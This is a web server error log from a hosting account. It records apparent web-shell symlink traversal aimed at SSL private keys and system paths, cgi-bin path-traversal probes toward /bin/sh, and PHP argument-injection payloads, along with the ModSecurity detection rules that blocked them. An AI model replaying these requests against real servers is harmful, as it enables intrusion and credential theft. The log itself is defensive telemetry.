[Mon Oct 26 17:00:05.868400 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.11:53396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/sections/__bug_table
[Mon Oct 26 17:00:07.273483 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 184.73.167.217:52085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:07.329509 2026] [security2:error] [pid 3058816:tid 3058816] [client 85.208.96.197:32332] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/acce4_cd897_d4715d40951dd794b19d9f630eb458e8.key"] [unique_id "at-_V8-doU5lRL_NAI8QXQAAAAE"]
[Mon Oct 26 17:00:07.329895 2026] [security2:error] [pid 3058816:tid 3058816] [client 85.208.96.197:32332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/acce4_cd897_d4715d40951dd794b19d9f630eb458e8.key"] [unique_id "at-_V8-doU5lRL_NAI8QXQAAAAE"]
[Mon Oct 26 17:00:07.330302 2026] [security2:error] [pid 3058816:tid 3058816] [client 85.208.96.197:32332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/acce4_cd897_d4715d40951dd794b19d9f630eb458e8.key"] [unique_id "at-_V8-doU5lRL_NAI8QXQAAAAE"]
[Mon Oct 26 17:00:11.410298 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.215.210.112:41396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:15.239448 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.208.11.93:4866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:17.357445 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 185.191.171.15:13300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:23.191847 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.89.170.186:35434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:27.378113 2026] [security2:error] [pid 3064975:tid 3064975] [client 54.90.8.255:2433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/input1/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node1/firmware_node/physical_node/"] [unique_id "at-_a8dX-waAlDqXJHtV5QAAABY"]
[Mon Oct 26 17:00:27.378164 2026] [security2:error] [pid 3064975:tid 3064975] [client 54.90.8.255:2433] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/input1/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node1/firmware_node/physical_node/"] [unique_id "at-_a8dX-waAlDqXJHtV5QAAABY"]
[Mon Oct 26 17:00:31.533390 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 52.0.218.219:40010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/resource0_wc
[Mon Oct 26 17:00:36.535735 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.221.37.41:56380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:39.177973 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.206.65.8:20200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:44.673040 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.23.212.212:46295] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:00:47.250851 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.3.104.214:13219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/remove_id
[Mon Oct 26 17:01:03.621973 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.84.60.17:15624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:07.466972 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.198.33.233:34822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:11.532770 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 54.85.126.86:43034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/drivers/thermal/unbind
[Mon Oct 26 17:01:19.308563 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.232.36.1:42099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:21.110818 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:56499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-_k3Nsi4cqo2ItOKeCAgAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 17:01:21.110872 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:56499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-_k3Nsi4cqo2ItOKeCAgAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 17:01:23.225070 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.83.240.58:43182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:27.435571 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.235.215.92:46505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/store_user
[Mon Oct 26 17:01:32.994056 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 85.208.96.194:12910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:35.545487 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 23.22.59.87:52280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/node0/subsystem/drivers_probe
[Mon Oct 26 17:01:39.522763 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.206.47.187:47748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:47.695379 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.220.70.171:17234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:51.704638 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.83.23.103:21445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:01:55.998191 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.221.227.90:58182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:03.958739 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 23.20.178.124:61513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:16.360425 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.208.223.68:13928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:19.526185 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.90.8.255:46527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:24.351425 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.3.156.186:55560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:37.718619 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.200:21596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/usersize
[Mon Oct 26 17:02:39.679394 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.80.130.239:33034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:43.852157 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.2.191.202:21495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:02:48.920179 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 85.208.96.207:44646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__mcount_loc
[Mon Oct 26 17:03:07.808145 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.45.29.57:10772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:03:11.817193 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 44.208.193.63:51411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource1
[Mon Oct 26 17:03:19.325910 2026] [security2:error] [pid 3098116:tid 3098116] [client 185.191.171.17:36636] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfcb2_868e9_f26e5ad7ea8b1cd26016da16d9a56569.key"] [unique_id "at_AFzS1e-yu7xYT1dr5cwAAAAk"]
[Mon Oct 26 17:03:19.326367 2026] [security2:error] [pid 3098116:tid 3098116] [client 185.191.171.17:36636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfcb2_868e9_f26e5ad7ea8b1cd26016da16d9a56569.key"] [unique_id "at_AFzS1e-yu7xYT1dr5cwAAAAk"]
[Mon Oct 26 17:03:19.326797 2026] [security2:error] [pid 3098116:tid 3098116] [client 185.191.171.17:36636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bfcb2_868e9_f26e5ad7ea8b1cd26016da16d9a56569.key"] [unique_id "at_AFzS1e-yu7xYT1dr5cwAAAAk"]
[Mon Oct 26 17:03:20.767506 2026] [security2:error] [pid 3085795:tid 3085795] [client 54.156.55.147:11972] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/thermal_cooling/subsystem/cooling_device1/"] [unique_id "at_AGF3BHaKovmquNkFr3wAAAAA"]
[Mon Oct 26 17:03:20.767573 2026] [security2:error] [pid 3085795:tid 3085795] [client 54.156.55.147:11972] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/thermal_cooling/subsystem/cooling_device1/"] [unique_id "at_AGF3BHaKovmquNkFr3wAAAAA"]
[Mon Oct 26 17:03:23.859497 2026] [security2:error] [pid 3084056:tid 3084056] [client 54.152.163.42:54114] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/block/"] [unique_id "at_AG3KvFNFM41eF9IjmhwAAADc"]
[Mon Oct 26 17:03:23.859545 2026] [security2:error] [pid 3084056:tid 3084056] [client 54.152.163.42:54114] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/block/"] [unique_id "at_AG3KvFNFM41eF9IjmhwAAADc"]
[Mon Oct 26 17:03:36.441147 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.212.106.171:35101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:03:43.790526 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 184.73.47.24:56236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:03:51.737663 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.203.111.15:38356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:03:51.766307 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.131.195:25648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:07.629951 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.208:14956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:11.864454 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.221.37.41:47415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:27.806888 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 50.19.102.70:50786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:35.719735 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.200.58.199:36106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:40.235177 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.83.180.239:9177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:04:57.947686 2026] [core:error] [pid 3098113:tid 3098113] [client 103.159.51.70:59212] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Mon Oct 26 17:04:59.518918 2026] [core:error] [pid 3084023:tid 3084023] [client 103.159.51.70:59224] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Mon Oct 26 17:05:00.221509 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.4.76.156:5945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:01.218768 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at_AfXKvFNFM41eF9IjmkAAAADc"]
[Mon Oct 26 17:05:01.218919 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at_AfXKvFNFM41eF9IjmkAAAADc"]
[Mon Oct 26 17:05:01.219422 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at_AfXKvFNFM41eF9IjmkAAAADc"]
[Mon Oct 26 17:05:01.220841 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AfXKvFNFM41eF9IjmkAAAADc"]
[Mon Oct 26 17:05:01.791059 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_AfXKvFNFM41eF9IjmkQAAADc"]
[Mon Oct 26 17:05:01.791152 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_AfXKvFNFM41eF9IjmkQAAADc"]
[Mon Oct 26 17:05:01.791567 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_AfXKvFNFM41eF9IjmkQAAADc"]
[Mon Oct 26 17:05:01.792477 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AfXKvFNFM41eF9IjmkQAAADc"]
[Mon Oct 26 17:05:02.570714 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_AfnKvFNFM41eF9IjmkgAAADc"]
[Mon Oct 26 17:05:02.570793 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_AfnKvFNFM41eF9IjmkgAAADc"]
[Mon Oct 26 17:05:02.571237 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_AfnKvFNFM41eF9IjmkgAAADc"]
